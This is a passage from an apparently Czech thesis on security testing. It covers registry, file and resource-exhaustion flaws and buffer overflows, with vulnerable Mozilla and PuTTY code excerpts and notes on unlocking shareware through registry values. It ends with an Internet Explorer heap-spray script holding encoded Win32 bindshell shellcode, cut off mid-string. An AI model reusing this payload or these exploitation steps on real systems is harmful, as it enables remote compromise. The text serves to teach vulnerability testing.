nedostupne´. To se ovsˇem nestane v prˇ´ıpadeˇ nenacˇtenı´ te´to knihovny, kdy se sluzˇba Content Advisor stane nedostupnou a stra´nka se bez proble´mu˚ zobrazı´.
3.2 Registry 3.2.1 Popis Registry v operacˇnı´m syste´mu Windows jsou databa´zı´, ktera´ spravuje zdroje operacˇnı´ho syste´mu a aplikacı´ v neˇm nainstalovany´ch, jako jsou cesty k souboru˚m, adresa´rˇovou strukturu, nastavenı´, klı´cˇe apod. Aplikace si tam da´le ukla´dajı´ libovolne´ informace. V podstateˇ nahrazujı´ soubory jako autoexec.bat, config.sys, system.ini a ini soubory jednotlivy´ch programu˚. Cı´lem testu je oveˇrˇenı´, zˇe aplikace nespole´ha´ na stoprocentnı´ dostupnost registru˚. Proble´mem je take´ absolutnı´ du˚veˇra v data, ktera´ se vyskytujı´ v registrech a mohou by´t pozmeˇneˇna trˇetı´ osobou. Du˚lezˇite´ je take´ otestova´nı´, zda aplikace neukla´da´ do registru˚ citliva´ data, at’ jizˇ to jsou prˇ´ıstupove´ informace nebo informace, ktere´ informujı´ aplikaci 10
3. SOFTWAROVE´ ZDROJE A SOFTWAROVE´ ZA´VISLOSTI o zakoupenı´ licence. Je potrˇeba si uveˇdomit, zˇe ne vsˇechna data jsou uchova´na bezpecˇneˇ a jsou prˇ´ıstupna´ dalsˇ´ım uzˇivatelu˚m i aplikacı´m nainstalovany´ch v syste´mu. 3.2.2 Du˚sledky Du˚sledkem teˇchto selha´nı´ na´vrha´rˇu˚ softwaru mu˚zˇe by´t usnadneˇnı´ pira´tstvı´. Pokud ma´me k dispozici sharewarovou verzi softwaru, ktera´ k u´plne´ funkcˇnosti vyzˇaduje pouze zakoupenı´ klı´cˇe, je zrˇejme´, zˇe omezenı´ funkcˇnosti nebo doby pouzˇitı´ bude ulozˇeno v registrech. Pokud vidı´me, ke ktery´m klı´cˇu˚m aplikace prˇi startu prˇistupuje a tyto klı´cˇe jsou ulozˇeny nezasˇifrovane´ nebo byla pouzˇita slaba´ sˇifra, je snadne´ zı´skat plnou verzi softwaru. Cˇasto se totizˇ setka´va´me s tı´m, zˇe v registrech je informace o zby´vajı´cı´m cˇase pouzˇ´ıva´nı´ sharwaru nebo prˇ´ıstupnost neˇktery´ch funkcionalit je urcˇena booleovskou hodnotou true nebo false. V nejhorsˇ´ıch prˇ´ıpadech se v registrech setka´va´me s datem zakoupenı´ licence cˇi multiuzˇivatelsky´ch aplikacı´ s nezasˇifrovany´mi hesly. Tote´zˇ je cˇaste´ i u aplikacı´, ktere´ uchova´vajı´ heslo pro prˇ´ıstup k neˇjaky´m zdroju˚m na internetu. 3.2.3 Postup Prvnı´m krokem testu je nalezenı´ klı´cˇu˚ v registru, ktere´ aplikace pouzˇ´ıva´, at’jizˇ pro cˇtenı´ nebo pro za´pis a sledujeme, kdy je tento klı´cˇ pouzˇ´ıva´n. Zajı´majı´ na´s ale jen klı´cˇove´ uda´losti jaky´mi jsou instalace, spusˇteˇnı´ aplikace, prˇ´ıstup zaka´zany´m funkcionalita´m, zmeˇna hesla, uzˇivatelova autentizace a obdobne´ uda´losti a samozrˇejmeˇ take´ ukoncˇenı´ aplikace. Pokud vı´me, se ktery´mi klı´cˇi aplikace pracuje, kontrolujeme jejich hodnoty, zda neobsahujı´ neˇjaka´ citliva´ data nebo zda nejsou zasˇifrova´na neˇjakou slabou sˇifrou. Nemusı´ se jednat jen o citliva´ data, ale take´ booleovske´ hodnoty true a false, ktere´ oznacˇujı´, zda neˇjaka´ cˇa´st je prˇ´ıstupna´ cˇi nikoliv nebo zda se neˇjaka´ cˇinnost provedla. Nutny´ je take´ test, jak se aplikace vyporˇa´da´ s nedostupnostı´ klı´cˇu˚ nebo se za´meˇnou hodnot, kdy sledujeme, jak aplikace reaguje na podvrzˇena´ data. 3.2.4 Prˇı´klady Tyto chyby jsou na prˇ´ıklady pomeˇrneˇ bohate´. Jednu nalezneme u aplikace Update Expert, ktera´ slouzˇ´ı ke vzda´lene´ spra´veˇ updatu˚ a za´plat k zajisˇteˇnı´ bezpecˇnosti syste´mu. Software si zjistı´ ze serveru dostupne´ za´platy, porovna´ je se svou databa´zı´ nainstalovany´ch a potrˇebne´ za´platy aplikuje. Bezpecˇnostnı´ riziko je pra´veˇ uchova´va´nı´ seznamu nainstalovany´ch soucˇa´stı´. K tomu pouzˇ´ıva´ aplikace registry, kde nalezneme seznam jako cˇisty´ text, prˇicˇemzˇ aplikace slepeˇ du˚veˇrˇuje tomu, zˇe u´daje v registrech nebyly pozmeˇneˇny. Toho mohou jednodusˇe zneuzˇ´ıt viry a podobne´ progra´mky, ktere´ prˇi vy´skytu novy´ch za´plat zapı´sˇ´ı do registru˚, zˇe jizˇ byly nainstalova´ny a Update Expert samotnou instalaci neprovede. Navı´c opravdu velke´ nebezpecˇ´ı se skry´va´ ve falesˇne´m pocitu bezpecˇ´ı, kdy si myslı´me, zˇe v syste´mu ma´me vsˇechny aktua´lnı´ za´platy a prˇitom pravy´ opak mu˚zˇe by´t skutecˇnostı´.
11
3. SOFTWAROVE´ ZDROJE A SOFTWAROVE´ ZA´VISLOSTI Naprˇ´ıklad trˇeba u aplikace eFax, ktera´ slouzˇ´ı pro odesı´la´nı´ faxu˚ emailem, nalezneme v registrech nezasˇifrovane´ uzˇivatelske´ jme´no a heslo k u´cˇtu na faxove´m serveru. Dı´ky tomu mu˚zˇe by´t ucˇet snadno zneuzˇit jiny´m uzˇivatelem, ktery´ ma´ prˇ´ıstup k registru˚m. Jako poslednı´ prˇ´ıklad bych uvedl program PhotoAlbum. Jedna´ se o shareware, jehozˇ neˇktere´ funkcionality jsou neprˇ´ıstupne´. Vsˇe je rˇesˇeno pomocı´ registru˚, kde je k jednotlivy´m modulu˚m ulozˇeno, zda je prˇ´ıstupny´ cˇi nikoliv. Nejedna´ se o klasicke´ booleovske´ hodnoty true a false, ale o neˇjake´ nejspı´sˇe sˇifrovane´ hodnoty. Jediny´m proble´mem je, zˇe tato hodnota je u vsˇech prˇ´ıstupny´ch modulu˚ stejna´, tedy pokud ma´me prˇ´ıstupny´ jeden modul, cozˇ ma´me vzˇdy, snadno zprˇ´ıstupnı´me celou aplikaci.
3.3 Porusˇene´ nebo nedostupne´ soubory 3.3.1 Popis Veˇtsˇina aplikacı´ pracuje se soubory, z ktery´ch zı´ska´va´ data, ktera´ aplikaci konfigurujı´, rˇ´ıdı´ nebo nad nimi aplikace pracuje. Cı´lem testu je kontrola, zda aplikace oveˇrˇuje integritu nacˇ´ıtany´ch dat, jejich prˇ´ıpustnost a samotnou dostupnost souboru˚. 3.3.2 Du˚sledky Du˚sledky teˇchto selha´nı´ jsou rozmanite´. V prˇ´ıpadeˇ nedostupnosti souboru˚ hrozı´ zhroucenı´ aplikace, cozˇ mu˚zˇe by´t prˇ´ıcˇinou ponecha´nı´ citlivy´ch dat v pameˇti cˇi docˇasny´ch souborech nebo beˇh aplikace, ktera´ je nekonfigurovana´ a mu˚zˇe se chovat nevyzpytatelneˇ a nezodpoveˇdneˇ. Take´ se zde setka´va´me s proble´mem jako u registru˚, kdy aplikace bezmezneˇ du˚veˇrˇuje datu˚m nacˇteny´m ze souboru. Novy´m proble´mem se sta´va´ prˇetecˇenı´ bufferu˚. Cˇasto se sta´va´, zˇe aplikace sice testuje data zada´vana´ prˇes graficke´ rozhranı´ (GUI), ale zapomı´na´ na test dat, ktere´ jsou nacˇ´ıta´ny ze souboru˚. Nenı´ pote´ proble´mem donutit aplikaci prˇirˇadit do cˇ´ıselne´ promeˇnne´ rˇeteˇzec, donutit ji k prˇetecˇenı´ rozsahu promeˇnne´ nebo pouzˇitı´ neprˇ´ıpustny´ch hodnot v promeˇnny´ch. To mu˚zˇe ve´st azˇ k DoS (Denial of Service) u´toku, kdy aplikace vlivem sˇpatny´ch dat se sta´va´ nedostupnou. To je va´zˇny´m proble´mem hlavneˇ u serverovy´ch aplikacı´, ktere´ prˇijı´majı´ soubory ke zpracova´nı´ od vzda´leny´ch uzˇivatelu˚. Vhodnou volbou naplneˇnı´ promeˇnny´ch, ktere´ zpu˚sobı´ prˇetecˇenı´ bufferu˚, mu˚zˇeme prˇinutit aplikaci ke spusˇteˇnı´ libovolne´ho ko´du. U webovy´ch aplikacı´ jsou velky´m proble´mem cookies soubory, kde lze cˇasto najı´t citlive´ informace o uzˇivateli internetovy´ch stra´nek nebo jsou zde aplikacı´ ukla´da´na data, ktery´m je pote´ slepeˇ veˇrˇeno. 3.3.3 Postup V prvnı´m kroku hleda´me soubory, ke ktery´m aplikace prˇistupuje, a snazˇ´ıme se urcˇit kdy a z jake´ho du˚vodu. Pote´ testujeme reakce aplikace na nedostupne´ soubory nebo zkousˇ´ıme podvrhovat data aplikaci. Mu˚zˇeme pouzˇ´ıvat neocˇeka´vane´ typy dat, prˇekracˇovat cˇ´ıselne´ rozsahy, snazˇit se o prˇetecˇenı´ bufferu˚ velky´mi cˇ´ıselny´mi hodnotami nebo dlouhy´mi rˇeteˇzci
12
3. SOFTWAROVE´ ZDROJE A SOFTWAROVE´ ZA´VISLOSTI a v neposlednı´ rˇadeˇ pouzˇ´ıva´nı´m nepovoleny´ch, netisknutelny´ch znaku˚ cˇi neprˇ´ıpustny´ch rˇeteˇzcu˚. Velmi efektivnı´ metodou je take´ na´hodnostnı´ porusˇenı´ souboru˚. 3.3.4 Prˇı´klady Uka´zku te´to chyby nalezneme trˇeba u aplikace Eudora. Jedna´ se o emailove´ho klienta, ktery´ si nedoka´zˇe poradit s emaily, ktere´ majı´ na´zev prˇilozˇene´ho souboru veˇtsˇ´ı nezˇ 260 znaku˚. V prˇ´ıpadeˇ odesla´nı´ takove´to zpra´vy pomocı´ protokolu SMTP, zpu˚sobı´me klientovi nedostupnost emailove´ schra´nky, protozˇe Eudora nedoka´zˇe tento email vybrat a pokazˇde´ dojde ke zhroucenı´ aplikace. Druhou uka´zkou je nevhodne´ pouzˇitı´ cookie souboru˚. Jedna´ se o aplikace, ktere´ nabı´zejı´ bezplatne´ otestova´nı´ svy´ch sluzˇeb a zajisˇteˇnı´ tohoto zkusˇebnı´ho obdobı´ realizujı´ pra´veˇ pomocı´ u´daju˚ v cookies souborech. Proble´mem je, zˇe data nejsou veˇtsˇinou nijak zajisˇteˇna a snadno se dajı´ zameˇnit a take´ nic nebra´nı´ samotne´mu smaza´nı´ tohoto souboru. Tedy pro tento u´cˇel jsou cookie soubory naprosto nevhodne´.
3.4 Nedostatek syste´movy´ch prostrˇedku˚ 3.4.1 Popis Mezi syste´move´ prostrˇedky rˇadı´me pro u´cˇel tohoto testu operacˇnı´ pameˇt’, diskovy´ prostor a sı´t’ove´ prostrˇedky. Cı´lem testu je zjistit, jak se aplikace bude chovat prˇi nedostatku operacˇnı´ pameˇti, kdy si do nı´ aplikace nebude schopna zave´st cˇa´st dat, nedostatku diskove´ho prostoru, kdy si aplikace nebude moci ulozˇit data do docˇasny´ch souboru˚ nebo vy´stup ulozˇit na disk. Protozˇe soucˇa´stı´ dnesˇnı´ho softwaru je samozrˇejma´ pra´ce se sı´tı´, testujeme reakci softwaru na nedostupnost sı´teˇ cˇi jejı´ omezenou propustnost, at’ jizˇ prˇi posı´la´nı´ dat nebo prˇi za´vislosti softwaru na vzda´leny´ch datech. Celkoveˇ toto testova´nı´ je soucˇa´stı´ stresovy´ch testu˚, kdy aplikaci nutı´me pracovat ve stı´zˇeny´ch podmı´nka´ch a nutı´me ji za´vodit s jiny´mi aplikacemi o volne´ zdroje. 3.4.2 Du˚sledky Du˚sledkem nedostatku operacˇnı´ pameˇti je nutnost pro aplikaci swapovat, cozˇ vede k tomu, zˇe na disk mohou by´t ukla´da´na citliva´ data. Na rozdı´l od runtime analy´zy operacˇnı´ pameˇti, ktere´ mu˚zˇeme zabra´nit detekcı´ debuggeru˚, data v souborech na disku jsou volneˇ dostupna´. Nedostatek diskove´ho prostoru veˇtsˇinou koncˇ´ı selha´nı´m aplikace, kdy syste´move´ vola´nı´ je neu´speˇsˇne´ a chybova´ rutina u´plneˇ chybı´. Pokud se zde neˇjaka´ nacha´zı´, je to veˇtsˇinou tak temne´ a netestovane´ mı´sto, zˇe se sta´va´ chova´nı´ aplikace nevyzpytatelny´m. Nedostupnost sı´teˇ mu˚zˇe zpu˚sobit nezodpoveˇdne´ chova´nı´ aplikace, protozˇe se ji nemuselo pove´st nahra´nı´ vsˇech funkcionalit ze sı´teˇ, na ktere´ nereaguje a nebo reaguje neocˇeka´vany´m ukoncˇenı´m. Na druhe´ straneˇ, prˇi znemozˇneˇne´m odesla´nı´ dat, si je aplikace
13
3. SOFTWAROVE´ ZDROJE A SOFTWAROVE´ ZA´VISLOSTI mu˚zˇe ukla´dat do docˇasny´ch souboru˚, aby mohly by´ti pozdeˇji odesla´ny, cozˇ zase mu˚zˇe usnadnit prˇ´ıstup k citlivy´m datu˚m. 3.4.3 Postup Stresove´ testy, tedy i tento test, se nejsna´ze prova´deˇjı´ pomocı´ neˇjake´ testovacı´ aplikace, ktera´ bude sama testovane´ aplikaci zdroje prˇideˇlovat podle nasˇich omezenı´. Dalsˇ´ı mozˇnostı´ je vytvorˇenı´ jednoduchy´ch aplikacı´, ktere´ pobeˇzˇ´ı vedle nasˇ´ı testovane´ aplikace, a budou postupneˇ zˇa´dat o prˇideˇlenı´ veˇtsˇ´ıho a veˇtsˇ´ıho mnozˇstvı´ operacˇnı´ pameˇti, dokud ji nevycˇerpa´. Stejneˇ budou testy probı´hat s diskovy´m prostorem, kdy neˇjaka´ aplikace bude zapisovat na disk azˇ ho zaplnı´. Omezenı´ pru˚chodnosti sı´teˇ se da´ testovat zaha´jenı´m stahova´nı´ neˇjaky´ch dat a prˇ´ıpadna´ nedostupnost vytazˇenı´m sı´t’ove´ho kabelu. 3.4.4 Prˇı´klady Prˇ´ıkladem mohou by´t prohlı´zˇecˇe Mozilla a Firefox, ve ktery´ch lze zpu˚sobit nedostatek pameˇti na haldeˇ a na´sledneˇ prove´st podvrzˇeny´ ko´d pod pra´vy uzˇivatele.Cely´ u´tok je zalozˇen na vycˇerpa´nı´ pameˇti, tedy je snazsˇ´ı ho prova´deˇt na syste´mech, ktere´ omezujı´ mnozˇstvı´ pameˇti na jednoho uzˇivatele. Nedostatek pameˇti mu˚zˇe by´t zpu˚soben bud’ posla´nı´m velke´ho mnozˇstvı´ dat klientovi v hlavicˇka´ch, ktere´ by jinak pozˇadovaly sˇirsˇ´ı pa´smo, nebo pouzˇitı´m komprese k redukci mnozˇstvı´ dat, ktere´ je potrˇeba poslat klientovi, at’jizˇ skrze modul serveru mod deflate (v Apachi) nebo zip souborem, na ktery´ je ukazova´no jar: URI. K alokaci pameˇti je take´ mozˇne´ pouzˇ´ıt javascript. Chybu najdeme v metodeˇ Appenf trˇ´ıdy nsCSubstring. Ta spole´ha´ na funkce ze trˇ´ıdy nsTSubstring CharT jako naprˇ´ıklad Replace(), ktera´ sˇpatneˇ kontroluje na´vratovou hodnotu funkce, ktera´ meˇnı´ velikost rˇeteˇzce. Nejprve je nastavena de´lka rˇeteˇzce, ktery´ je kopı´rova´n a je prˇeda´n jako parametr funkci ReplacePrep(). U te´ nenı´ kontrolova´na na´vratova´ hodnota, tedy pokud nenı´ dostatek pameˇti, alokace selzˇe a do promeˇnne´ mData je prˇirˇazena fixnı´ adresa. Pak jizˇ stacˇ´ı, aby na tuto zna´mou adresu byl umı´steˇn neˇjaky´ ko´d a bude proveden. nsTSubstring.cpp: size_type length = tuple.Length(); cutStart = PR_MIN(cutStart, Length()); ReplacePrep(cutStart, cutLength, length); if (length > 0) tuple.WriteTo(mData + cutStart, length); mData = NS_CONST_CAST(char_type*,char_traits::sEmptyBuffer); mLength = 0;
nsSubstring.cpp:
14
3. SOFTWAROVE´ ZDROJE A SOFTWAROVE´ ZA´VISLOSTI
static const PRUnichar gNullChar = 0; const char* nsCharTraits
::sEmptyBuffer = (const char*) &gNullChar;
Dalsˇ´ı zajı´mave´ prˇ´ıklady chova´nı´ aplikacı´ prˇi nedostatku operacˇnı´ pameˇti a diskove´ho prostoru se mi nepodarˇilo nale´zt, veˇtsˇinou se setka´va´me s tı´m, zˇe aplikace se ukoncˇ´ı a nebo zu˚stane viset v pameˇti. Zajı´maveˇjsˇ´ı je prˇ´ıpad, kdy je nedostupna´ sı´t’a tedy aplikaci se nepovedlo dohodnout s protistranou na klı´cˇi komunikace. Bohuzˇel aplikace se s tı´m vyporˇa´dala po sve´m a nezasˇifrovane´ pakety si ulozˇila na disk dokud nebude sı´t’k dispozici.
15
Kapitola 4
Uzˇivatelske´ rozhranı´ 4.1 Prˇetecˇenı´ vstupnı´ch bufferu˚ 4.1.1 Popis Prˇetecˇenı´ vstupnı´ch bufferu˚ je nejcˇasteˇjsˇ´ım bezpecˇnostnı´m proble´mem prˇi programova´nı´ softwaru, kdy aplikace zapomı´najı´ kontrolovat de´lky vstupu˚. Samotne´ nı´zkou´rovnˇove´ jazyky jako assembler tyto proble´my nedetekujı´ a ani jim nijak neprˇedcha´zejı´. Jazyky jako C a C++ jizˇ poskytujı´ alesponˇ neˇjakou minima´lnı´ prevenci prˇed neˇktery´mi proble´my, jejichzˇ vy´sledkem je pa´d samotne´ aplikace. Vysˇsˇ´ı programovacı´ jazyky jsou dosti imunnı´ vu˚cˇi bufferove´mu prˇetecˇenı´, ktere´ automaticky rˇesˇ´ı zveˇtsˇenı´m alokovane´ pameˇti, ale na druhe´ straneˇ na´m poskytujı´ falesˇny´ pocit vyrˇesˇene´ho proble´mu, protozˇe si musı´me uveˇdomit, zˇe ve veˇtsˇ´ıch projektech se neobejdeme bez rutin, ktere´ jsou napsa´ny v nı´zkou´rovnˇovy´ch programovacı´ch jazycı´ch. 4.1.2 Du˚sledky Vsˇechna bufferova´ prˇetecˇenı´ nemusı´ ve´st k bezpecˇnostnı´m proble´mu˚m, pouze dojde k na´silne´mu ukoncˇenı´ aplikace, na druhou stranu si je potrˇeba uveˇdomit, zˇe pokud jsou vstupy vhodneˇ voleny, mu˚zˇe to ve´st azˇ k provedenı´ uzˇivatelovy´ch prˇ´ıkazu˚ aplikacı´, prˇ´ıpadneˇ k prˇevzetı´ kontroly nad syste´mem. Cele´ to mu˚zˇe probeˇhnout na´sledovneˇ. Aplikace si alokuje neˇjakou cˇa´st pameˇti pro ulozˇenı´ uzˇivatelske´ho vstupu. Pokud programa´tor aplikace zapomene omezit de´lku vstupu, uzˇivatelova data se nevejdou do alokovane´ pameˇti a mohou prˇepsat i oblast pameˇti, ktera´ na´sleduje. Pokud se zde jizˇ vyskytovaly instrukce aplikace, je zrˇejme´, zˇe data te´to cˇa´sti pameˇti budou interpretova´na jako instrukce, ktere´ uzˇivatel mu˚zˇe podvrhnout. 4.1.3 Postup Otestovat je potrˇeba samozrˇejmeˇ vsˇechny vstupy, v prˇ´ıpadeˇ, zˇe to nenı´ proveditelne´, tak se soustrˇedı´me prˇedevsˇ´ım na rˇeteˇzcove´ vstupy, ktere´ se dajı´ zneuzˇ´ıt. Zvla´sˇtnı´ pozornost je take´ potrˇeba veˇnovat aplikacı´m, kde zneuzˇitı´ mu˚zˇe by´ti citelne´, jako jsou aplikace beˇzˇ´ıcı´ na serverech nebo aplikace beˇzˇ´ıcı´ pod uzˇivatelem s veˇtsˇ´ımi pra´vy. Dobre´ je najı´t u vstupu limit promeˇnne´ a sledovat na´sledne´ chova´nı´ aplikace. Aby testova´nı´ nebylo neu´meˇrneˇ dlouhe´, je vhodne´ zvysˇovat de´lku rˇeteˇzce po deseti znacı´ch a po te´ jen testovat rˇeteˇzce
16
4. UZˇIVATELSKE´ ROZHRANI´ zajı´mavy´ch de´lek, naprˇ. 64, 128, 256, 512 atd. Po nalezenı´ hranice je potrˇeba zkontrolovat chova´nı´ aplikace. Mu˚zˇe nastat neˇktera´ z na´sledujı´cı´ch mozˇnostı´: a) aplikace zobrazı´ chybovou hla´sˇku a neukoncˇ´ı se, aplikace si tedy s daty poradila korektneˇ. b) aplikace se s veˇtsˇ´ım rˇeteˇzcem vyporˇa´da´va´ tak, zˇe zveˇtsˇuje alokovanou pameˇt’ pro vstupnı´ rˇeteˇzec a cˇasem urcˇiteˇ nalezneme hranici, kdy uzˇ to vı´ce nepu˚jde. c) aplikace rˇeteˇzec orˇ´ızne na prˇ´ıpustnou de´lku a prˇetecˇenı´ zde nehrozı´ d) aplikace proble´m ignoruje 4.1.4 Prˇı´klady Hned neˇkolik prˇ´ıkladu˚ mu˚zˇeme nale´zt ve zna´me´m ssh klientovi Putty. Dı´ky prvnı´ chybeˇ lze prˇi pouzˇitı´ SSHv2 vzda´leneˇ kompromitovat uzˇivatelsky´ syste´m. Chyba umozˇnˇuje spustit libovolny´ ko´d ze serveru na pocˇ´ıtacˇi uzˇivatele pod jeho pra´vy a to jesˇteˇ prˇed oveˇrˇenı´m klı´cˇu˚. To lze snadno vyuzˇ´ıt k u´toku z podvrzˇene´ho serveru. Tato chyba existuje dı´ky nedostatecˇne´ kontrole mezı´ u parametru stringlen v SSH2 MSG DEBUG paketech. Hodnota parametru stringlen je da´na uzˇivatelem a je cˇtena jako integer z offsetu v datech paketu. Proble´m je, zˇe nenı´ testova´no zname´nko promeˇnne´ a ve funkci memcpy se po te´ pouzˇ´ıva´ za´porna´ hodnota pro pocˇet bytu˚,ktere´ se majı´ zkopı´rovat. static int ssh2_rdpkt (Ssh ssh, unsigned char **data, int *datalen) { struct rdpkt2_state_tag *st = &ssh->rdpkt2_state; ... switch (ssh->pktin.type) { ... case SSH2_MSG_DEBUG: { char buf[512]; int stringlen = GET_32BIT(ssh->pktin.data+7); int prefix; strcpy(buf, ”Remote debug message: ”); prefix = strlen(buf); if (stringlen > (int)(sizeof(buf)-prefix-1)) stringlen = sizeof(buf)-prefix-1; memcpy(buf + prefix, ssh->pktin.data + 11, stringlen); buf[prefix + stringlen] = ’\0’; logevent(buf); } 17
4. UZˇIVATELSKE´ ROZHRANI´ } } Dalsˇ´ı mozˇnostı´ je vyuzˇitı´ prˇetecˇenı´ jiny´ch integeru˚, cozˇ je mozˇne´ azˇ po verifikaci klı´cˇu˚, cozˇ z toho deˇla´ pouze potencia´lnı´ u´tok, protozˇe server nemu˚zˇe by´t podvrzˇen. Podvrzˇeny´ ko´d je vykona´n pomocı´ protokolu SFTP (SSH File Transfer Protocol), kdy server posı´la´ lstive´ rˇeteˇzce ve vybrany´ch atributech. Prvnı´ z teˇchto chyb existuje dı´ky nedostatecˇne´ kontrole uzˇivatelem zada´vany´ch dat. Implementace SFTP v Putty dovoluje doplnit libovolne´ hodnoty pro ulozˇenou de´lku rˇeteˇzce v paketu. Tento jev lze najı´t ve funkci sftp pkt getstring(), ktera´ je vola´na z funkce fxp open recv(). Ta zı´ska´ ukazatel na rˇeteˇzec a jeho de´lku, ktere´ pouzˇije jako atributy funkce mkstr(). Po te´ co funkce memcpy() alokuje 0 bytu˚ pameˇti se otvı´ra´ prostor pro provedenı´ podvrzˇene´ho ko´du.
static void sftp_pkt_getstring (struct sftp_packet *pkt, char **p, int *length) { *p = NULL; if (pkt->length - pkt->savedpos < 4) return; /* length value is taken from user-supplied data */ *length = GET_32BIT(pkt->data + pkt->savedpos); pkt->savedpos += 4; /* this check will be passed if length < 0 */ if (pkt->length - pkt->savedpos < *length) return; *p = pkt->data + pkt->savedpos; PKT->savedpos += *length; }
struct fxp_handle *fxp_open_recv (struct sftp_packet *pktin, struct sftp_request *req) { ... /* sftp_pkt_getstring call with controlled len value */ sftp_pkt_getstring(pktin, &hstring, &len); ... handle = snew(struct fxp_handle); /* heap corruption will occur if len == -1 */ handle->hstring = mkstr(hstring, len); handle->hlen = len; 18
4. UZˇIVATELSKE´ ROZHRANI´ sftp_pkt_free(pktin); return handle; ... }
static char *mkstr(char *s, int len) { /* malloc(0) if len == -1 */ char *p = snewn(len + 1, char); /* user controlled heap corruption */ memcpy(p, s, len); p[len] = ’\0’; return p; }
Druha´ z teˇchto chyb se vyskytuje ve funkci fxp readdir recv(), kde se prˇi alokaci pameˇti neoveˇrˇuje pocˇet alokovany´ch bytu˚, ktery´ je bra´n z uzˇivatelsky´ch dat. Tato funkce je vola´na z funkcı´ scp get sink action() a sftp cmd ls a opeˇt mu˚zˇe zpu˚sobit provedenı´ podstrcˇene´ho ko´du.
struct fxp_names *fxp_readdir_recv (struct sftp_packet *pktin, struct sftp_request *req) { /* 32 bit value from packet */ ret->nnames = sftp_pkt_getuint32(pktin); /* * The integer overflow occurs when ret->nnames is referenced * the snewn macro calls malloc() wrapper * #define snewn(n, type) ((type *)smalloc((n)*sizeof(type))) */ ret->names = snewn(ret->nnames, struct fxp_name); for (i = 0; i < ret->nnames; i++) { char *str; int len; sftp_pkt_getstring(pktin, &str, &len); /* pointer to arbitrary data from packet */ ret->names[i].filename = mkstr(str, len); sftp_pkt_getstring(pktin, &str, &len); 19
4. UZˇIVATELSKE´ ROZHRANI´ /* pointer to arbitrary data from packet */ ret->names[i].longname = mkstr(str, len); /* pointer to arbitrary data from packet */ ret->names[i].attrs = sftp_pkt_getattrs(pktin); } ... }
Poslednı´mi chybami Putty, ktere´ zde uvedu, jsou chyby ve funkcı´ch rsaencrypt() a modpow(). Obeˇ chyby opeˇt zpu˚sobujı´ riziko provedenı´ podstrcˇene´ho ko´du v syste´mu uzˇivatele. Chyba ve funkci rsaencrypt() se projevuje prˇi vy´meˇneˇ SSHv1 klı´cˇu˚, kdy zasla´nı´ specia´lneˇ upravene´ho paketu s velmi maly´m modulem verˇejne´ho klı´cˇe zpu˚sobuje prˇetecˇenı´ haldy. Obdobneˇ probı´ha´ i u´tok na funkci modpow(), ktery´ nasta´va´ prˇi vy´meˇneˇ SSHv2 klı´cˇu˚ a paket je upraven tak, zˇe je posla´n prˇ´ılisˇ velky´ za´klad umocneˇnı´. Prˇi norma´lnı´m pru˚beˇhu je za´klad mensˇ´ı nezˇ modulus, cozˇ ale nenı´ testova´no. Pokud posˇleme upraveny´ za´klad, tak aby i bylo za´porne´, tedy i = mlen - base[0], dojde v cyklu prˇetecˇenı´ bufferu alokovane´ho pro n. /* * Compute (base ˆ exp) % mod. * The base MUST be smaller than the modulus. * The most significant word of mod MUST be non-zero. * We assume that the result array is the same size * as the mod array. */ Bignum modpow(Bignum base, Bignum exp, Bignum mod) { BignumInt *a, *b, *n, *m; int mshift; int mlen, i, j; Bignum result; /* Allocate m of size mlen, copy mod to m */ /* We use big endian internally */ mlen = mod[0]; [...] /* Allocate n of size mlen, copy base to n */ n = snewn(mlen, BignumInt); i = mlen - base[0]; for (j = 0; j < i; j++) 20
4. UZˇIVATELSKE´ ROZHRANI´ n[j] = 0; for (j = 0; j < base[0]; j++) n[i + j] = base[base[0] - j]; [...]
Nespocˇet podobny´ch chyb nalezneme trˇeba v produktu Microsoft Internet Explorer. Ten obsahuje chyby prˇetecˇenı´ bufferu, ktere´ mohou opeˇt ve´st k provedenı´ podstrcˇene´ho ko´du na pocˇ´ıtacˇi s tı´mto prohlı´zˇecˇem pod pra´vy, pod ktery´mi je spusˇteˇn. Pro prˇ´ıklad mu˚zˇeme tuto chybu najı´t prˇi pouzˇitı´ HTML elementu˚ frame a iframe a jejich atributu˚ src a name.Nejprve je potrˇeba pomocı´ Javascriptu alokovat pameˇt’, kterou naplnı´me dveˇma bloky - spousˇteˇcı´m a shlellovy´m ko´dem. Kdyzˇ naprˇ´ıklad pouzˇijeme v HTML elementu iframe prˇ´ılisˇ dlouhy´ rˇeteˇzec pro atribut src, dojde k prˇetecˇenı´ a Internet Explorer dereferencuje adresu pameˇti, ktera´ mu˚zˇe uka´zat do prˇipravene´ho bloku pameˇti. Projde skrze spousˇteˇcı´ ko´d a provede u´tocˇnı´kem definovane´ prˇ´ıkazy. Prˇipravit haldu je dosti obtı´zˇne´ a vyzˇaduje to jistou zdatnost, ale s pouzˇitı´m Active scripting, lze proble´m snadno vyrˇesˇit.
<SCRIPT language=”javascript”> // Win32 MSIE exploit helper script, // creates a lot of nopslides to land in // and/or use as return address. Thanks to blazde // for feedback and idears. // Win32 bindshell (port 28876, ’\0’ free, looping). //Thanks to HDM and others for inspiration and borrowed code. shellcode = unescape(”%u4343%u4343%u43eb%u5756%u458b%u8b3c %u0554%u0178%u52ea%u528b%u0120%u31ea%u31c0%u41c9%u348b%u018a %u31ee%uc1ff%u13cf%u01ac%u85c7%u75c0%u39f6%u75df%u5aea%u5a8b %u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e %ufce0%uc031%u8b64%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031 %ub866%u6c6c%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7 %ue8fe%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0 %u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050%u4050 %u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6%u50c0%u3550 %u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650%u81bb%u2cb4%ue8be %uff42%uffff%uc031%u5650%ud3bb%u58fa%ue89b%uff34%uffff%u6058 %u106a%u5054%ubb56%uf347%uc656%u23e8%uffff%u89ff%u31c6%u53db 21
